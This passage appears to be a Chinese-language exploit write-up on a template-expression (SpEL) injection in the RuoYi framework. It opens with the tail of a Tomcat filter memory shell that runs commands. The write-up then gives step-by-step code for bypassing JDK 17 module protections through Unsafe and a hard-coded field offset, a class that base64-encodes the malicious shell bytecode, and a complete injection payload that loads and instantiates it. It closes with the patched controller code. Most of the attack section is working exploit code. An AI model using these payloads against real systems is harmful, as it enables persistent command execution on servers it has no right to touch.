} Scanner c = (new Scanner (p.start().getInputStream())).useDelimiter("\\A" ); o = c.hasNext() ? c.next() : o; c.close(); writer.write(o); writer.flush(); writer.close(); } else { chain.doFilter(request,response); } } catch (Exception var8) { } } @Override public void destroy () { } }
攻击思路 获取当前上下文的 ClassLoader来加载base64解码后的恶意字节码。
获取当前上下文的 ClassLoader 在 SpEL 表达式中,我们可以通过链式调用(反射或者静态方法)来获取到当前的线程上下文类加载器,或者直接从 Request 对象中提取。
方式 1:通过当前线程获取
Web 容器在处理一个 HTTP 请求时,会把当前 Web 应用的 WebAppClassLoader绑定到处理这个请求的线程上。
1 T(java.lang.Thread).currentThread().getContextClassLoader()
优点 :不需要依赖 Spring 的特定类,只要是在 Web 请求线程内触发的 SpEL(绝大多数 Web 漏洞都是),就能稳定拿到当前应用的 ClassLoader。
方式 2:通过 Spring 上下文获取(针对若依/Spring 框架)
利用 Spring 提供的 RequestContextHolder获取当前的 Request,顺藤摸瓜拿到 ServletContext,进而拿到 ClassLoader。
1 T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getRequest().getServletContext().getClassLoader()
优点 :非常稳定,百分百拿到的就是处理当前 Spring MVC 逻辑的那个最准确的类加载器。
方式 3:通过已知加载的 Spring 类获取
随便找一个肯定是由 WebAppClassLoader加载的 Spring 核心类,获取它的 ClassLoader。
1 T(org.springframework.web.servlet.DispatcherServlet).class.getClassLoader()
这里使用方式1:
1 2 #Thread_class=''.getClass().forName('java.lang.Thread'), #ContextClassLoader=#MethodUtils.invokeStaticMethod(#Thread_class,'currentThread').getContextClassLoader(),
踩坑 setAccessible(true) (jdk<9) 拿到 ClassLoader后,因为defineClass 方法是protected修饰的, SpEL 不能直接调用 protected 方法。为了绕过这个限制,在 SpEL 中通常会结合反射和Unsafe类来强行调用。
1 2 3 // 利用反射,把 ClassLoader 里的 defineClass 方法强行设置为可访问(突破 protected 限制) #defineClassMethod = T(java.lang.ClassLoader).getDeclaredMethod("defineClass", T(byte[]).class, int.class, int.class); #defineClassMethod.setAccessible(true);
但是这个没成功,因为我当前jdk版本是17,报错module java.base does not "opens java.lang" to unnamed module。这是触发了JDK 9+ 的模块化系统(Jigsaw)与强封装机制 。
JVM 启动时,核心库(如 java.lang)被放在了 java.base这个模块中。
默认情况下,java.base模块 不再向外部(包括恶意 SpEL 表达式所在的未命名模块)开放 它的内部 API 和非 public 成员。
当调用 #defineClassMethod.setAccessible(true)时,底层会触发 checkCanSetAccessible安全检查。JVM 发现有人试图破坏 java.base的封装,直接抛出 InaccessibleObjectException拒绝访问。
Unsafe类(jdk9+)Unsafe类提供了直接操作内存级别的底层 API,并且由于大量底层框架(如 Spring、Netty)都严重依赖它,官方在模块化时“投鼠忌器”,把它放到了 jdk.unsupported模块中,并默认对外开放 。
绕过原理拆解:
setAccessible(true)的底层源码,其实仅仅是把 AccessibleObject父类中的一个布尔类型属性 override赋值为 true。
只要 override == true,Java 就会跳过所有的访问权限检查。
既然 setAccessible被模块化系统拦截了,我们就用 Unsafe提供的方法,找到 defineClassMethod这个对象内存里的 override属性的偏移量(Offset) 。
然后通过 Unsafe.putBoolean(),直接在内存里把这个布尔值强行改成 true。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #unsafeClass = T(sun.misc.Unsafe), #theUnsafeField = #unsafeClass.getDeclaredField('theUnsafe' ), #theUnsafeField.setAccessible(true ), #unsafe = #theUnsafeField.get(null ), #clazz = T(java.lang.ClassLoader), #defineClassMethod = #clazz.getDeclaredMethod('defineClass' , T(byte []), T(Integer).TYPE, T(Integer).TYPE), #overrideField = T(java.lang.reflect.AccessibleObject).getDeclaredField('override' ), #offset = #unsafe.objectFieldOffset(#overrideField), #unsafe.putBoolean(#defineClassMethod, #offset, true )
在jdk17调用unsafe类的到时候报错:#overrideField=''.getClass().forName('java.lang.reflect.AccessibleObject').getDeclaredField('override')
java.lang.NoSuchFieldException: override
现象 :AccessibleObject类里面明明有 override这个属性,但当你调用 getDeclaredField("override")时,JVM 内部的 Reflection.filterFields方法会进行拦截,强行把这个属性从结果列表中剔除。
结果 :拿不到这个 Field对象,自然就无法把它传给 Unsafe.objectFieldOffset()来获取内存偏移量。获取不到偏移量,修改内存的计划就泡汤了。
盲狙内存偏移量 如果不能通过正常 API 算出 override的内存偏移量,那我们就直接硬编码写死偏移量。
这就涉及到了底层 JVM 的 Java 对象内存布局(JOL, Java Object Layout)。
我们来解剖一下 Method对象的内存结构:
对象头 (Object Header):在 64 位 JVM 中,默认开启了指针压缩(Compressed Oops)。对象头固定占用 12 个字节 。
父类属性 :排在对象头后面的,是最高级父类的属性。Method继承自 Executable,Executable继承自 AccessibleObject。而 AccessibleObject里面唯一的、也是最先排列的属性,就是 boolean override。
结论 :override属性在内存中的物理位置是完全固定的,它永远紧贴在对象头之后,偏移量精确等于 12。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #unsafeClass = T(sun.misc.Unsafe), #theUnsafeField = #unsafeClass.getDeclaredField('theUnsafe' ), #theUnsafeField.setAccessible(true ), #unsafe = #theUnsafeField.get(null ), #clazz = T(java.lang.ClassLoader), #defineClassMethod = #clazz.getDeclaredMethod('defineClass' , T(byte []), T(Integer).TYPE, T(Integer).TYPE), #unsafe.putBoolean(#defineClassMethod, 12 , true ), #evilClass = #defineClassMethod.invoke(#classLoader, #byteCode, 0 , #byteCode.length)
poc 以下代码把恶意类字节码转化成base64输出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import com.Memshell.tomcat.FilterShell;import java.io.ByteArrayOutputStream;import java.io.InputStream;import java.util.Base64;public class ClassToBase64 { public static void main (String[] args) { try { Class<?> clazz = FilterShell.class; String className = clazz.getSimpleName() + ".class" ; InputStream inputStream = clazz.getResourceAsStream(className); if (inputStream == null ) { System.out.println("找不到类的字节码" ); return ; } ByteArrayOutputStream baos = new ByteArrayOutputStream (); byte [] buffer = new byte [1024 ]; int len; while ((len = inputStream.read(buffer)) != -1 ) { baos.write(buffer, 0 , len); } inputStream.close(); byte [] classBytes = baos.toByteArray(); String base64Class = Base64.getEncoder().encodeToString(classBytes); System.out.println("类的字节码 Base64 编码为:" ); System.out.println(base64Class); } catch (Exception e) { e.printStackTrace(); } } }
然后url编码后嵌入下面的poc中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $__|{#response.getWriter().print({ #MethodUtils="" .getClass().forName('org.apache.commons.lang3.reflect.MethodUtils' ).newInstance(), #evilClass_bytes='' .getClass().forName('java.util.Base64' ).getDecoder().decode('base64编码,url编码后的恶意字节码' ), #Thread_class='' .getClass().forName('java.lang.Thread' ), #ContextClassLoader=#MethodUtils.invokeStaticMethod(#Thread_class,'currentThread' ).getContextClassLoader(), #unsafeClass='' .getClass().forName('sun.misc.Unsafe' ), #theUnsafeField=#unsafeClass.getDeclaredField('theUnsafe' ), #theUnsafeField.setAccessible(true ), #unsafe=#theUnsafeField.get(null ), #ClassLoader='' .getClass().forName('java.lang.ClassLoader' ), #defineClassMethod=#MethodUtils.invokeMethod(#ClassLoader,'getDeclaredMethod' ,{'defineClass' ,'' .getClass().forName('[B' ),1. TYPE,1. TYPE}), #unsafe.putBoolean(#defineClassMethod, 12 , true ), #evilClass=#defineClassMethod.invoke(#ContextClassLoader, #evilClass_bytes, 0 , #evilClass_bytes.length), #evilClass.newInstance() })}|__
漏洞修复 在4.8.3版本中,模版名称固定,用户不可控。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 @RequiresPermissions("monitor:cache:view") @PostMapping("/getNames") public String getCacheNames (ModelMap mmap) { mmap.put("cacheNames" , cacheService.getCacheNames()); return prefix + "/cache::fragment-cache-names" ; }@RequiresPermissions("monitor:cache:view") @PostMapping("/getKeys") public String getCacheKeys (String cacheName, ModelMap mmap) { mmap.put("cacheName" , cacheName); mmap.put("cacheKeys" , cacheService.getCacheKeys(cacheName)); return prefix + "/cache::fragment-cache-kyes" ; }@RequiresPermissions("monitor:cache:view") @PostMapping("/getValue") public String getCacheValue (String cacheName, String cacheKey, ModelMap mmap) { mmap.put("cacheName" , cacheName); mmap.put("cacheKey" , cacheKey); mmap.put("cacheValue" , cacheService.getCacheValue(cacheName, cacheKey)); return prefix + "/cache::fragment-cache-value" ; }